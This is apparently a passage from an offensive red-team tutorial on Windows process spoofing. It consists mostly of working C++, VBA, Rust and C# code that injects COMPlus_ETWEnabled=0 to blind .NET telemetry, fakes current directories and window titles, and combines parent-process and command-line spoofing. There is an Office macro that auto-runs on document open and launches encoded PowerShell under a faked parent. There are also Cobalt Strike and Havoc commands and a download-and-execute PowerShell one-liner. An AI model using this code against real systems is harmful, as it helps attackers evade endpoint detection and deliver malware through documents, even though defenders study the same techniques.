What it means: Inject custom environment variables into a child process's PEB before that process starts executing. This is especially powerful for injecting COMPlus_ETWEnabled=0 into .NET processes to silently disable Event Tracing for Windows (ETW), preventing the CLR from emitting telemetry.
[SPOOF] [PEB] [EVASION]
5.1 Why Environment Variable Spoofing Matters
Normal .NET process (PowerShell):
ETW provider: CLR → emits assembly load events
EDR/Sysmon sees: AmsiScanBuffer called, Assembly loaded, etc.
Result: .NET-based tools (Rubeus, SharpHound) detected by ETW
With COMPlus_ETWEnabled=0 injected:
CLR checks env var at startup → COMPlus_ETWEnabled=0 found
CLR skips ETW provider registration (EventRegister not called)
Result: NO CLR telemetry, NO assembly load events
EDR sees: Nothing from CLR
5.2 How Environment Variables Are Stored
PEB.ProcessParameters.Environment
→ Points to a block of null-terminated wide strings:
"VAR1=value1\0"
"VAR2=value2\0"
"COMPlus_ETWEnabled=1\0" ← modify this
...
"\0" ← double null = end of block
Method: Launch process suspended → read PEB → find Environment pointer
→ modify/inject variable in environment block → resume
5.3 C++ Environment Variable Spoofing
// env_var_spoof.cpp — Inject COMPlus_ETWEnabled=0 to disable .NET ETW
// Author: Based on Adam Chester (@_xpn_) PoC
// MITRE: T1562.006 — Indicator Removal: Clear Windows Event Logs
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>
// Variable to inject into the child process
#define INJECT_VAR L"COMPlus_ETWEnabled=0\0\0\0"
#define INJECT_LEN (sizeof(L"COMPlus_ETWEnabled=0\0\0\0"))
// Target process to launch (PowerShell inherits our injected env)
#define TARGET_PROC "powershell.exe"
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);
PVOID RemoteRead(HANDLE hProc, PVOID addr, SIZE_T size) {
PVOID buf = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T read = 0;
ReadProcessMemory(hProc, addr, buf, size, &read);
return buf;
}
BOOL RemoteWrite(HANDLE hProc, PVOID addr, PVOID data, SIZE_T size) {
SIZE_T written = 0;
return WriteProcessMemory(hProc, addr, data, size, &written);
}
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB pebLocal = { 0 };
DWORD retLen = 0;
printf("[*] Environment Variable Spoofing (COMPlus_ETWEnabled=0)\n");
// Step 1: Spawn PowerShell SUSPENDED (inherits our environment)
if (!CreateProcessA(NULL, (LPSTR)TARGET_PROC, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,
"C:\\Windows\\System32\\", &si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] %s spawned, PID: %lu\n", TARGET_PROC, pi.dwProcessId);
// Step 2: Get PEB address
NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
// Step 3: Read PEB
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
printf("[+] PEB: 0x%p\n", pbi.PebBaseAddress);
// Step 4: Read ProcessParameters to find Environment pointer
RTL_USER_PROCESS_PARAMETERS* pp = (RTL_USER_PROCESS_PARAMETERS*)
RemoteRead(pi.hProcess, pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 256);
printf("[+] ProcessParameters: 0x%p\n", pebLocal.ProcessParameters);
// Step 5: Read the current environment block
// Environment is typically 4-8KB, read enough to find our target var
PVOID envBlock = RemoteRead(pi.hProcess, pp->Environment, 4096);
WCHAR* envPtr = (WCHAR*)envBlock;
// Step 6: Allocate new environment block in remote process
// Strategy: Prepend our variable to the start of the env block
// COMPlus_ETWEnabled=0 will override any existing setting
// Allocate RW memory in remote process for new env block
SIZE_T newEnvSize = INJECT_LEN + 4096; // Injected var + original env
LPVOID newEnvRemote = VirtualAllocEx(
pi.hProcess, NULL, newEnvSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Build new env block: [COMPlus_ETWEnabled=0\0][original env...]
std::vector<BYTE> newEnvLocal(newEnvSize, 0);
memcpy(newEnvLocal.data(), INJECT_VAR, INJECT_LEN);
// Copy original env after our injected var (minus trailing double-null of ours)
memcpy(newEnvLocal.data() + INJECT_LEN - 2, envBlock, 4096);
// Write new env block to remote process
RemoteWrite(pi.hProcess, newEnvRemote, newEnvLocal.data(), newEnvSize);
printf("[+] New env block written at: 0x%p\n", newEnvRemote);
// Step 7: Update Environment pointer in ProcessParameters
// Calculate offset of Environment field in RTL_USER_PROCESS_PARAMETERS
DWORD_PTR envPtrOffset = (DWORD_PTR)pebLocal.ProcessParameters +
offsetof(RTL_USER_PROCESS_PARAMETERS, Environment);
RemoteWrite(pi.hProcess, (PVOID)envPtrOffset, &newEnvRemote, sizeof(PVOID));
printf("[+] Environment pointer updated to new block\n");
// Step 8: Resume process — it now starts with COMPlus_ETWEnabled=0
ResumeThread(pi.hThread);
printf("[+] PowerShell resumed — ETW disabled via env var spoof\n");
printf("[+] CLR will NOT register ETW providers — no assembly load events!\n");
// Cleanup
VirtualFree(envBlock, 0, MEM_RELEASE);
VirtualFree(pp, 0, MEM_RELEASE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
5.4 Setting Environment Variable from Parent (Simpler Approach)
// Simpler: set the env var in PARENT before spawning child
// Child inherits it automatically (no PEB modification needed)
// DOWNSIDE: The env var appears in the parent process's env block
// Option 1: SetEnvironmentVariable in parent
SetEnvironmentVariableA("COMPlus_ETWEnabled", "0");
// Now CreateProcess — child inherits it
// Option 2: Pass custom env block to CreateProcess
const wchar_t customEnv[] =
L"COMPlus_ETWEnabled=0\0"
L"SystemRoot=C:\\Windows\0"
L"PATH=C:\\Windows\\System32\0"
L"\0"; // Double null terminates block
CreateProcessW(NULL, L"powershell.exe", NULL, NULL, FALSE,
CREATE_NEW_CONSOLE,
(LPVOID)customEnv, // ← custom env block passed here
NULL, &si, &pi);
5.5 Other Useful Environment Variables to Spoof
[EVASION] COMPlus_ETWEnabled=0
→ Disables all .NET ETW events (no assembly loads logged)
→ Affects: PowerShell, .NET offensive tools (Rubeus, SharpHound, etc.)
[EVASION] COMPlus_NGenAssemblyUsageLog=<random>
→ Prevents .NET from writing NGen usage logs to disk
→ Reduces forensic artifacts
[EVASION] DOTNET_ENVIRONMENT=Production
→ May bypass certain debug-mode behaviors / logging
[EVASION] COMPLUS_NoGuiFromShim=1
→ Suppresses .NET installer GUI popups
[OPSEC] Detection:
→ Injecting COMPlus_ vars via PEB manipulation is detectable
by kernel-mode ETW callbacks (the write to env block in
the remote process is observable)
→ Simply setting in parent env is more stealthy but less targeted
Registry equivalent (persistent, louder):
REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0
(This is detected by Splunk/Sysmon monitoring reg key changes)
6. Technique 4 — CurrentDirectory Spoofing
What it means: The CurrentDirectory field in RTL_USER_PROCESS_PARAMETERS defines the working directory of a process. Spoofing it makes a process appear to run from a legitimate location (e.g., C:\Windows\System32) while actually executing from a suspicious path.
[SPOOF] [PEB]
6.1 C++ CurrentDirectory Spoof
// currentdir_spoof.cpp — Spoof working directory of spawned process
// Makes malicious process appear to run from System32
#include <windows.h>
#include <winternl.h>
#include <iostream>
#define FAKE_DIR L"C:\\Windows\\System32\\" // Shown to tools
#define TARGET_CMD "powershell.exe"
// (Using same RemoteRead/RemoteWrite helpers from §5.3)
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB pebLocal = { 0 };
DWORD retLen = 0;
// Spawn process with fake working directory as initial dir
// CreateProcess lpCurrentDirectory parameter IS seen by tools at creation
// For full control: spawn, then modify PEB.ProcessParameters.CurrentDirectory
if (!CreateProcessA(NULL, (LPSTR)TARGET_CMD, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,
"C:\\Windows\\System32\\", // Fake dir passed to CreateProcess
&si, &pi)) {
return 1;
}
// Get PEB
NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
// Read ProcessParameters
RTL_USER_PROCESS_PARAMETERS pp = { 0 };
ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters, &pp, sizeof(pp), NULL);
// Overwrite CurrentDirectory.Buffer with fake directory
WCHAR fakeDir[] = FAKE_DIR;
WriteProcessMemory(pi.hProcess, pp.CurrentDirectory.DosPath.Buffer,
fakeDir, sizeof(fakeDir), NULL);
printf("[+] CurrentDirectory spoofed to: %ls\n", FAKE_DIR);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
7. Technique 5 — Window Title & Desktop Spoofing
What it means: Spoofing the WindowTitle and DesktopInfo fields in ProcessParameters affects what process enumeration tools display in the window title column, and can be used to make a process appear to be running in a different Windows station/desktop context.
[SPOOF] [PEB]
7.1 C++ Window Title Spoof
// window_title_spoof.cpp — Spoof window title in PEB
// After reading ProcessParameters from remote process (see §3.2):
// Overwrite WindowTitle.Buffer
WCHAR fakeTitle[] = L"Microsoft Windows Security Health Service\0";
WriteProcessMemory(pi.hProcess,
pp->WindowTitle.Buffer,
fakeTitle,
sizeof(fakeTitle), NULL);
// Update WindowTitle.Length
USHORT newLen = (USHORT)(wcslen(fakeTitle) * sizeof(WCHAR));
DWORD_PTR titleLenOffset = (DWORD_PTR)pebLocal.ProcessParameters +
offsetof(RTL_USER_PROCESS_PARAMETERS, WindowTitle) +
offsetof(UNICODE_STRING, Length);
WriteProcessMemory(pi.hProcess, (PVOID)titleLenOffset, &newLen, sizeof(USHORT), NULL);
printf("[+] Window title spoofed to: Microsoft Windows Security Health Service\n");
8. Technique 6 — Combined Spoofing (PPID + CmdLine + EnvVar)
What it means: Maximum stealth is achieved by combining all techniques simultaneously: PPID spoofing (believable parent), command-line spoofing (innocent visible args), and environment variable spoofing (disable ETW). This is how advanced C2 frameworks like Cobalt Strike implement their spawnto and argue commands.
[SPOOF] [PPID] [PEB] [EVASION]
8.1 Cobalt Strike — Built-In Argue Command
[TOOL] Cobalt Strike — argue (CmdLine spoof)
Beacon commands:
argue notepad.exe → sets fake args for all spawned processes
spawnto x64 %windir%\system32\svchost.exe -k netsvcs
How it works internally:
1. CreateProcess(FAKE_ARGS, CREATE_SUSPENDED)
2. Locate PEB in remote process
3. Overwrite CommandLine.Buffer with real beacon args
4. Inject beacon shellcode
5. ResumeThread
[TOOL] Cobalt Strike — spawnto
Sets the process that Cobalt Strike uses for post-exploitation
Combines with PPID spoofing for clean process tree
8.2 Full Combined Attack — C++ (PPID + CmdLine)
// combined_spoof.cpp — Full combined attack: PPID spoof + CmdLine spoof
#include <windows.h>
#include <TlHelp32.h>
#include <winternl.h>
#include <iostream>
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);
// ─── Configuration ─────────────────────────────────────────────
#define FAKE_PARENT L"explorer.exe" // Appear as child of this
#define FAKE_CMDLINE "notepad.exe C:\\Windows\\readme.txt" // Logged by EDR
#define REAL_CMDLINE L"notepad.exe C:\\Users\\User\\malicious_payload.txt" // Actual
// ───────────────────────────────────────────────────────────────
DWORD GetPIDByName(const wchar_t* name) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { sizeof(pe) };
while (Process32NextW(snap, &pe))
if (!_wcsicmp(pe.szExeFile, name)) { CloseHandle(snap); return pe.th32ProcessID; }
CloseHandle(snap);
return 0;
}
int main() {
printf("[*] Combined PPID + CmdLine Spoofing\n");
// ─── Phase 1: Set up PPID spoofing ─────────────────────────
DWORD parentPID = GetPIDByName(FAKE_PARENT);
printf("[*] Spoofing parent → %ls (PID %lu)\n", FAKE_PARENT, parentPID);
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST attrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
// ─── Phase 2: Spawn SUSPENDED with FAKE args ────────────────
STARTUPINFOEXW si = { 0 };
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi = { 0 };
// FAKE command line (what Sysmon logs)
wchar_t fakeCmdW[256] = {0};
mbstowcs(fakeCmdW, FAKE_CMDLINE, 255);
BOOL ok = CreateProcessW(NULL, fakeCmdW, NULL, NULL, FALSE,
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL, L"C:\\Windows\\System32\\", (LPSTARTUPINFOW)&si, &pi);
if (!ok) { printf("[-] CreateProcess failed: %lu\n", GetLastError()); return 1; }
printf("[+] Process spawned (suspended), PID: %lu\n", pi.dwProcessId);
// ─── Phase 3: Overwrite CmdLine with REAL args ──────────────
NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi = { 0 };
DWORD retLen = 0;
NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
PEB pebLocal = { 0 };
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
// Allocate and read ProcessParameters
BYTE ppBuf[sizeof(RTL_USER_PROCESS_PARAMETERS) + 1024] = { 0 };
ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters,
ppBuf, sizeof(ppBuf), NULL);
RTL_USER_PROCESS_PARAMETERS* pp = (RTL_USER_PROCESS_PARAMETERS*)ppBuf;
printf("[+] CommandLine.Buffer: 0x%p\n", pp->CommandLine.Buffer);
// Write REAL command line into CommandLine.Buffer
WCHAR realCmd[] = REAL_CMDLINE;
WriteProcessMemory(pi.hProcess, pp->CommandLine.Buffer,
realCmd, sizeof(realCmd), NULL);
// Update Length to reflect real cmdline length
DWORD_PTR lenOffset = (DWORD_PTR)pebLocal.ProcessParameters +
((BYTE*)&pp->CommandLine.Length - ppBuf);
USHORT newLen = (USHORT)(wcslen(realCmd) * sizeof(WCHAR));
WriteProcessMemory(pi.hProcess, (PVOID)lenOffset, &newLen, sizeof(USHORT), NULL);
printf("[+] Real cmdline written to PEB\n");
// ─── Phase 4: Resume thread — both spoofs active ────────────
ResumeThread(pi.hThread);
printf("\n[+] DONE. Both spoofs active:\n");
printf(" Sysmon sees: child of %ls | args: %s\n", FAKE_PARENT, FAKE_CMDLINE);
printf(" Reality: child of this process | args: %ls\n", REAL_CMDLINE);
// Cleanup
DeleteProcThreadAttributeList(attrList);
HeapFree(GetProcessHeap(), 0, attrList);
CloseHandle(hParent);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
9. Technique 7 — VBA / Office Macro Spoofing
What it means: Implement both PPID spoofing and command-line argument spoofing directly in a VBA Office macro. This makes processes spawned by a malicious document appear to come from explorer.exe with innocent arguments — bypassing EDR rules like "Word spawned PowerShell."
[SPOOF] [PPID] [EVASION]
9.1 VBA Macro — PPID + CmdLine Spoof
' vba_spoof.vba — Office Macro: PPID + CmdLine spoofing
' Credit: Christophe Tafani-Dereeper, Will Burgess (Red Teaming in the EDR age)
' MITRE: T1134.004, T1564.010
Option Explicit
' ─── P/Invoke declarations ──────────────────────────────────────
Private Declare PtrSafe Function CreateProcess Lib "kernel32" _
Alias "CreateProcessW" (ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, _
ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Boolean, _
ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, _
ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOEX, _
lpProcessInformation As PROCESS_INFORMATION) As Boolean
Private Declare PtrSafe Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Boolean, _
ByVal dwProcessId As Long) As LongPtr
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32" _
(ByVal lpAttributeList As LongPtr, ByVal dwAttributeCount As Long, _
ByVal dwFlags As Long, ByRef lpSize As Long) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32" _
(ByVal lpAttributeList As LongPtr, ByVal dwFlags As Long, _
ByVal Attribute As LongPtr, ByRef lpValue As LongPtr, _
ByVal cbSize As Long, ByVal lpPreviousValue As LongPtr, _
ByVal lpReturnSize As LongPtr) As Boolean
Private Declare PtrSafe Function DeleteProcThreadAttributeList Lib "kernel32" _
(ByVal lpAttributeList As LongPtr)
Private Declare PtrSafe Function CloseHandle Lib "kernel32" _
(ByVal hObject As LongPtr) As Boolean
Private Declare PtrSafe Function ResumeThread Lib "kernel32" _
(ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function ReadProcessMemory Lib "kernel32" _
(ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, _
ByRef lpBuffer As Any, ByVal nSize As Long, _
ByRef lpNumberOfBytesRead As Long) As Boolean
Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" _
(ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, _
ByRef lpBuffer As Any, ByVal nSize As Long, _
ByRef lpNumberOfBytesWritten As Long) As Boolean
Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" _
(ByVal ProcessHandle As LongPtr, ByVal ProcessInformationClass As Long, _
ByRef ProcessInformation As Any, ByVal ProcessInformationLength As Long, _
ByRef ReturnLength As Long) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32" _
(ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
ByVal dwBytes As Long) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32" _
(ByVal dwFlags As Long, ByVal th32ProcessID As Long) As LongPtr
Private Declare PtrSafe Function Process32FirstW Lib "kernel32" _
(ByVal hSnapshot As LongPtr, ByRef lppe As PROCESSENTRY32) As Boolean
Private Declare PtrSafe Function Process32NextW Lib "kernel32" _
(ByVal hSnapshot As LongPtr, ByRef lppe As PROCESSENTRY32) As Boolean
' ─── Structures ──────────────────────────────────────────────────
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long: dwY As Long
dwXSize As Long: dwYSize As Long
dwXCountChars As Long: dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
StartupInfo As STARTUPINFO
lpAttributeList As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As LongPtr
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile(260) As Byte
End Type
' ─── Get Explorer PID ────────────────────────────────────────────
Function GetExplorerPID() As Long
Dim hSnap As LongPtr
Dim pe32 As PROCESSENTRY32
Dim procName As String
hSnap = CreateToolhelp32Snapshot(&H2, 0) ' TH32CS_SNAPPROCESS
pe32.dwSize = LenB(pe32)
If Process32FirstW(hSnap, pe32) Then
Do
procName = ""
Dim i As Integer
For i = 0 To 259
If pe32.szExeFile(i * 2) = 0 And pe32.szExeFile(i * 2 + 1) = 0 Then Exit For
procName = procName & Chr(pe32.szExeFile(i * 2))
Next i
If LCase(procName) = "explorer.exe" Then
GetExplorerPID = pe32.th32ProcessID
CloseHandle hSnap
Exit Function
End If
Loop While Process32NextW(hSnap, pe32)
End If
CloseHandle hSnap
GetExplorerPID = 0
End Function
' ─── Main spoof function ─────────────────────────────────────────
Sub SpoofAndSpawn()
Dim si As STARTUPINFOEX
Dim pi As PROCESS_INFORMATION
Dim hParent As LongPtr
Dim attrSize As Long
Dim attrList As LongPtr
' Fake args (Sysmon logs this)
Dim fakeCmd As String
fakeCmd = "powershell.exe -WindowStyle Normal"
' Real args (process executes this)
' ⚠ fakeCmd must be >= length of realCmd
Dim realCmd As String
realCmd = "powershell.exe -enc <BASE64_PAYLOAD_HERE>"
Dim explorerPID As Long
explorerPID = GetExplorerPID()
If explorerPID = 0 Then MsgBox "Explorer not found!": Exit Sub
' Open handle to explorer for PPID spoof
hParent = OpenProcess(&H80, False, explorerPID) ' PROCESS_CREATE_PROCESS
' Initialize attribute list
InitializeProcThreadAttributeList 0, 1, 0, attrSize
attrList = HeapAlloc(GetProcessHeap(), 0, attrSize)
InitializeProcThreadAttributeList attrList, 1, 0, attrSize
' Set parent process attribute
Dim PROC_THREAD_ATTRIBUTE_PARENT As LongPtr
PROC_THREAD_ATTRIBUTE_PARENT = &H20000 ' 0x00020000
UpdateProcThreadAttribute attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT, _
hParent, 8, 0, 0
' Create process with fake args + PPID spoof
si.StartupInfo.cb = LenB(si)
si.lpAttributeList = attrList
Dim EXTENDED_STARTUPINFO_PRESENT As Long
EXTENDED_STARTUPINFO_PRESENT = &H80000
CreateProcess vbNullString, fakeCmd, 0, 0, False, _
&H4 Or EXTENDED_STARTUPINFO_PRESENT, 0, _
"C:\Windows\System32\", si, pi
' Now overwrite CmdLine in PEB (see §3 for full implementation)
' ... ReadProcessMemory / WriteProcessMemory to update CommandLine.Buffer ...
ResumeThread pi.hThread
DeleteProcThreadAttributeList attrList
CloseHandle hParent
CloseHandle pi.hProcess
CloseHandle pi.hThread
End Sub
' Auto-run on document open
Sub AutoOpen()
SpoofAndSpawn
End Sub
10. Technique 8 — Rust / C# Implementations
What it means: Modern red team tooling increasingly uses Rust or C# to implement argument spoofing. Rust provides memory safety with low-level Win32 API access; C# enables in-memory execution without dropping files.
[SPOOF] [TOOL]
10.1 Rust — Argument Spoofing (RustRedOps)
# Cargo.toml
[package]
name = "args_spoofing"
version = "0.1.0"
edition = "2021"
[dependencies]
windows = { version = "0.52", features = [
"Win32_System_Threading",
"Win32_System_Diagnostics_Debug",
"Win32_Foundation",
"Win32_System_Memory",
] }
winapi = { version = "0.3", features = ["processthreadsapi", "winnt", "memoryapi"] }
// src/main.rs — Argument spoofing in Rust
// Part of RustRedOps project (github.com/joaoviictorti/RustRedOps)
use std::ffi::OsStr;
use std::os::windows::ffi::OsStrExt;
use windows::Win32::Foundation::*;
use windows::Win32::System::Threading::*;
use windows::Win32::System::Diagnostics::Debug::ReadProcessMemory;
use windows::Win32::System::Memory::*;
fn to_wide(s: &str) -> Vec<u16> {
OsStr::new(s)
.encode_wide()
.chain(std::iter::once(0))
.collect()
}
fn main() {
unsafe {
// Configuration
let fake_cmd = to_wide("notepad.exe C:\\Windows\\System32\\kernel32.dll");
let real_cmd = to_wide("notepad.exe C:\\malicious\\payload.txt");
println!("[*] Rust Argument Spoofing PoC");
println!("[*] Fake: notepad.exe C:\\Windows\\System32\\kernel32.dll");
println!("[*] Real: notepad.exe C:\\malicious\\payload.txt");
// Create process suspended with fake args
let mut si = STARTUPINFOW::default();
si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
let mut pi = PROCESS_INFORMATION::default();
let mut fake_mut: Vec<u16> = fake_cmd.clone();
let created = CreateProcessW(
None,
windows::core::PWSTR(fake_mut.as_mut_ptr()),
None,
None,
false,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
None,
windows::core::PCWSTR(to_wide("C:\\Windows\\System32\\").as_ptr()),
&si,
&mut pi,
);
if created.is_err() {
eprintln!("[-] CreateProcess failed");
return;
}
println!("[+] Process PID: {}", pi.dwProcessId);
// Get PEB address via NtQueryInformationProcess
// (using ntapi crate or manual GetProcAddress)
// ... (implementation similar to C++ version) ...
// Resume thread
let _ = ResumeThread(pi.hThread);
println!("[+] Process resumed with spoofed args");
let _ = CloseHandle(pi.hProcess);
let _ = CloseHandle(pi.hThread);
}
}
# Build for Windows from Linux
cargo build --target x86_64-pc-windows-gnu --release
# Or on Windows
cargo build --release
target\release\args_spoofing.exe
10.2 C# — NtQueryInformationProcess Helper
// PEBHelper.cs — Read PEB fields from a remote process (C# helper)
using System;
using System.Runtime.InteropServices;
public static class PEBHelper
{
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr processHandle, int processInfoClass,
ref PROCESS_BASIC_INFORMATION processInfo,
int processInfoLength, out int returnLength);
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(
IntPtr hProcess, IntPtr baseAddress,
byte[] buffer, int size, out int bytesRead);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess, IntPtr baseAddress,
byte[] buffer, int size, out int bytesWritten);
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_BASIC_INFORMATION {
IntPtr Reserved1;
public IntPtr PebBaseAddress;
IntPtr Reserved2_0, Reserved2_1;
IntPtr UniqueProcessId;
IntPtr Reserved3;
}
/// <summary>
/// Get PEB base address for a remote process handle
/// </summary>
public static IntPtr GetPebAddress(IntPtr hProcess) {
var pbi = new PROCESS_BASIC_INFORMATION();
int returnLen = 0;
NtQueryInformationProcess(hProcess, 0, ref pbi,
Marshal.SizeOf(pbi), out returnLen);
return pbi.PebBaseAddress;
}
/// <summary>
/// Read the CommandLine.Buffer pointer from PEB of remote process
/// Returns the remote address of the CommandLine string buffer
/// </summary>
public static IntPtr GetCommandLineBufferAddress(IntPtr hProcess) {
IntPtr pebAddr = GetPebAddress(hProcess);
// Read PEB (read 0x100 bytes covering ProcessParameters pointer)
byte[] peb = new byte[0x100];
ReadProcessMemory(hProcess, pebAddr, peb, peb.Length, out _);
// ProcessParameters is at offset 0x20 in x64 PEB
IntPtr ppAddr = new IntPtr(BitConverter.ToInt64(peb, 0x20));
// Read ProcessParameters
byte[] pp = new byte[0x400];
ReadProcessMemory(hProcess, ppAddr, pp, pp.Length, out _);
// CommandLine.Buffer is at offset 0x70 in x64 RTL_USER_PROCESS_PARAMETERS
return new IntPtr(BitConverter.ToInt64(pp, 0x70));
}
/// <summary>
/// Overwrite CommandLine in a suspended remote process
/// </summary>
public static void OverwriteCommandLine(IntPtr hProcess, string newCmdLine) {
IntPtr cmdBufAddr = GetCommandLineBufferAddress(hProcess);
byte[] newCmdBytes = System.Text.Encoding.Unicode.GetBytes(newCmdLine + "\0");
WriteProcessMemory(hProcess, cmdBufAddr, newCmdBytes, newCmdBytes.Length, out _);
Console.WriteLine($"[+] CmdLine overwritten at 0x{cmdBufAddr.ToInt64():X}");
}
}
11. Tools Reference
11.1 SelectMyParent — Didier Stevens (Original PPID Tool)
[TOOL] SelectMyParent.exe
Author: Didier Stevens (earliest public PPID spoofing tool)
Purpose: Launch any process with a specified parent PID
Usage: SelectMyParent.exe notepad.exe <PID_of_desired_parent>
Download: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent/
11.2 psgetsys.ps1 — PowerShell PPID Spoofing
# [TOOL] psgetsys.ps1 — PowerShell PPID spoofing script
# Usage:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1')
# Spawn cmd.exe as child of winlogon.exe (PID: <winlogon_pid>)
[MyProcess]::CreateProcessFromParent(<winlogon_pid>, "cmd.exe", "")
# Example: Get SYSTEM shell via lsass PPID
$lsassPID = (Get-Process lsass).Id
[MyProcess]::CreateProcessFromParent($lsassPID, "cmd.exe", "")
11.3 Cobalt Strike — Argue and Spawnto
[TOOL] Cobalt Strike Beacon commands:
# Set the process beacon uses for post-ex operations
spawnto x64 %windir%\sysnative\svchost.exe -k netsvcs
spawnto x86 %windir%\syswow64\notepad.exe
# Argue — set fake arguments for spawned processes
argue <fake_args>
# Example:
argue notepad.exe C:\\Windows\\System32\\nothing.txt
# After setting argue, all beacon-spawned processes will:
# 1. Be created with fake_args (logged by EDR)
# 2. Beacon injects real shellcode via PEB manipulation
# 3. Process executes actual beacon/post-ex code
# PPID spoofing in Beacon
ppid <explorer_pid>
11.4 Havoc C2 — PPID Spoofing
# [TOOL] Havoc C2 — PPID and argument spoofing built-in
# In Havoc payload generator:
# -p, --parent Spoof victim process under a Parent Process ID
# Use Demon agent with PPID option
# Demon agent config (Havoc):
{
"Demon": {
"Sleep": 10,
"Jitter": 5,
"TrustXForwardedFor": false,
"Injection": {
"Spawn64": "%windir%\\system32\\notepad.exe",
"Spawn32": "%windir%\\syswow64\\notepad.exe",
}
}
}
11.5 Detection Tools (Blue Team)
# [TOOL] Sysmon — Process creation logging (Event ID 1)
# Config to capture parent-child relationships:
# sysmon -accepteula -i sysmonconfig.xml
